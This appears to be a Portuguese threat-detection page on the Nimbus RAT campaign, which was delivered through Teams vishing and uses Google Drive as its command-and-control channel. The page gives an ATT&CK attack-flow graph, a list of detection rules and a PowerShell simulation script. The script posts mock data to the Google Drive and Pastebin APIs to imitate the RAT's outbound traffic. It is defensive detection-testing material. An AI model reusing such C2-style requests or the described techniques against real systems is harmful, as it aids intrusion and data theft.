Nimbus RAT Entregue Através do Microsoft Teams e Google Drive
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Atores de ameaça usaram phishing por voz no Microsoft Teams junto com o Quick Assist para implantar um trojan de acesso remoto baseado em Java conhecido como Nimbus RAT. O malware depende do Google Drive e Google Sheets como seus canais de comando e controle e inclui seu próprio runtime OpenJDK incorporado. Para o roubo de credenciais, ele utiliza um prompt de segurança falso do Windows ou a API nativa CredUI para capturar segredos do usuário.
Investigação
A Unidade de Resposta a Ameaças da eSentire reconstruiu toda a cadeia de intrusão usando logs de fluxo de email, telemetria de endpoint e análise estática do malware Java. A campanha combinou bombardeio de email, uma chamada de vishing baseada no Teams, suporte remoto Quick Assist, uma folha de instruções hospedada no Pastebin e um locatário do SharePoint comprometido usado para distribuir a carga útil.
Mitigação
Defesas recomendadas incluem desativar mensagens externas do Teams de locatários desconhecidos, bloquear o Quick Assist onde ele não é necessário, alertar sobre picos de atividade de bombardeio de email, monitorar javaw.exe execuções de locais não usuais, e detectar chamadas suspeitas à API do Google Drive iniciadas por processos inesperados.
Resposta
Se uma atividade do Nimbus RAT for detectada, isole o sistema afetado, termine todos os javaw.exe processos relacionados, remova o C:ProgramDataInboxCorePro diretório e quaisquer atalhos de inicialização associados, e considere uma reimagem completa do sistema. Revise também os logs de auditoria do Google Workspace para identificar quaisquer concessões não autorizadas de aplicativos do Google Drive.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#e6e6e6 %% Nodes – Actions action_phishing[“<b>Ação</b> – <b>T1566.003 Phishing: Spearphishing via Serviço</b><br/>Campanha de bombardeio de e-mails envia mensagens de confirmação de assinatura que preparam uma futura chamada de vishing no Microsoft Teams”] class action_phishing action action_trusted_rel[“<b>Ação</b> – <b>T1199 Relação de Confiança</b><br/>O atacante cria um tenant temporário do Microsoft 365 ou compromete um tenant legítimo para enviar mensagens externas maliciosas do Teams que parecem confiáveis”] class action_trusted_rel action action_user_exec_file[“<b>Ação</b> – <b>T1204.002 Execução pelo Usuário: Arquivo Malicioso</b><br/>A vítima é instruída via Pastebin a baixar um ZIP de um SharePoint comprometido e executar o arquivo JAR usando javaw.exe”] class action_user_exec_file action action_user_exec_copy[“<b>Ação</b> – <b>T1204.004 Execução pelo Usuário: Copiar e Colar Malicioso</b><br/>O atacante copia a URL do Pastebin para o chat do Teams, enganando o usuário a visitar o site”] class action_user_exec_copy action action_persistence[“<b>Ação</b> – <b>T1547.001 Execução Automática no Boot ou Logon</b><br/>Persistência obtida por importação de arquivo .reg e criação de atalho na pasta Inicializar que executa o RAT Java”] class action_persistence action action_credential_harvest[“<b>Ação</b> – <b>T1056.002 Captura de Entrada: Interface Gráfica</b><br/>O Nimbus RAT exibe um falso diálogo Java Swing e o prompt nativo CredUI do Windows para capturar credenciais”] class action_credential_harvest action action_c2[“<b>Ação</b> – <b>T1102.002 Serviço Web: Comunicação Bidirecional</b><br/>Comando e controle via Google Drive usando conta de serviço ou OAuth2 com arquivos criptografados de polling”] class action_c2 action action_exfil[“<b>Ação</b> – <b>T1567.002 Exfiltração via Serviço Web</b><br/>Dados coletados, como capturas de tela e arquivos, são enviados para a mesma pasta do Google Drive usada no C2”] class action_exfil action action_network_disc[“<b>Ação</b> – <b>T1016 Descoberta de Configuração de Rede do Sistema</b><br/>O RAT executa comandos como ipconfig /all para coletar informações de interfaces de rede”] class action_network_disc action %% Tools / Malware / Files / Processes tool_email_bomb[“<b>Ferramenta</b> – Nome: Script de bombardeio de e-mails”] class tool_email_bomb tool tool_teams[“<b>Ferramenta</b> – Nome: Microsoft Teams (vishing)”] class tool_teams tool tool_sharepoint[“<b>Ferramenta</b> – Nome: Site SharePoint comprometido”] class tool_sharepoint tool malware_nimbus[“<b>Malware</b> – Nome: Nimbus RAT (Java)”] class malware_nimbus malware file_jar[“<b>Arquivo</b> – Nome: InboxCorePro.jar (payload Java)”] class file_jar data process_javaw[“<b>Processo</b> – Nome: javaw.exe (executa o JAR)”] class process_javaw process file_reg[“<b>Arquivo</b> – Nome: Importação de registro .reg”] class file_reg data file_startup[“<b>Arquivo</b> – Nome: Atalho na pasta Inicializar”] class file_startup data service_gdrive[“<b>Serviço</b> – Nome: Google Drive (C2 e exfiltração)”] class service_gdrive data process_ipconfig[“<b>Processo</b> – Comando: ipconfig /all”] class process_ipconfig process %% Connections action_phishing –>|usa| tool_email_bomb action_phishing –>|leva_a| action_trusted_rel action_trusted_rel –>|usa| tool_teams action_trusted_rel –>|entrega| action_user_exec_copy action_user_exec_copy –>|fornece_link_para| action_user_exec_file action_user_exec_file –>|baixa_de| tool_sharepoint action_user_exec_file –>|executa| file_jar file_jar –>|executado_por| process_javaw process_javaw –>|inicia| malware_nimbus malware_nimbus –>|cria| action_persistence action_persistence –>|importa| file_reg action_persistence –>|coloca| file_startup malware_nimbus –>|captura| action_credential_harvest malware_nimbus –>|comunica_com| service_gdrive service_gdrive –>|suporta| action_c2 service_gdrive –>|suporta| action_exfil malware_nimbus –>|executa| action_network_disc action_network_disc –>|roda| process_ipconfig
Fluxo de Ataque
Detecções
Execução de Aplicativo Java de Localização Suspeita (via criação de processo)
Ver
Binário / Scripts Suspeitos na Localização de Autostart (via evento de arquivo)
Ver
Possível domínio GoogleApis resolvido por processo conhecido abusado (via consulta dns)
Ver
Possível atividade de utilitário de comando e controle do Google (via proxy)
Ver
IOCs (HashSha256) para detectar: Nimbus RAT: Como os atores de ameaça estão abusando do Microsoft Teams e Google Drive para implantar um rat Java
Ver
Detecção de uso suspeito de APIs do Google e Pastebin [Proxy]
Ver
Detecção de execução do Nimbus RAT via javaw.exe e comandos de reconhecimento [Criação de Processo no Windows]
Ver
Execução de Quick Assist e regedit.exe em ataque de vishing [Log de Evento de Segurança do Microsoft Windows]
Ver
Execução de Simulação
Pré-requisito: O teste pré-voo de Telemetria & Base deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque & Comandos:
O ator de ameaça já comprometeu o endpoint com o binário Nimbus RAT. Para estabelecer um canal C2 encoberto, o RAT emite duas solicitações HTTP POST de saída:- Chamada da API do Google Drive – carrega uma pequena carga útil JSON para
https://www.googleapis.com/drive/v3/files?uploadType=media, imitando o comportamento de “download-carga” do RAT. - Paste do Pastebin – posta uma string de comando codificada em base-64 para
https://pastebin.com/api/api_post.phpusando a chave de API pública.
Ambas as solicitações são executadas via
Invoke-WebRequestdo PowerShell para garantir que os logs do firewall contenham o campodomínio(googleapis.comandpastebin.com). O atacante executa os comandos no contexto do usuário comprometido para se misturar com a atividade normal. - Chamada da API do Google Drive – carrega uma pequena carga útil JSON para
-
Script de Teste de Regressão:
# -------------------------------------------------------------- # Simulação de C2 do Nimbus RAT – aciona regra Sigma na correspondência de domínio # -------------------------------------------------------------- # 1. Mock de upload da API do Google Drive (sem autenticação – foca na telemetria do domínio) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Enviou mock de upload para a API do Google Drive" } catch { Write-Warning "Solicitação do Google Drive falhou (esperado em sandbox): $_" } # 2. Post na API pública do Pastebin (requer uma chave de desenvolvedor – usando um placeholder) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- substitua por uma chave válida para teste real $pastebinText = "echo 'Comando simulado do C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Postou comando mock no Pastebin" } catch { Write-Warning "Solicitação do Pastebin falhou (esperado em sandbox): $_" } # -------------------------------------------------------------- # Fim da simulação # -------------------------------------------------------------- -
Comandos de Limpeza:
# Remova quaisquer arquivos temporários ou variáveis usadas durante a simulação Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Limpeza completa."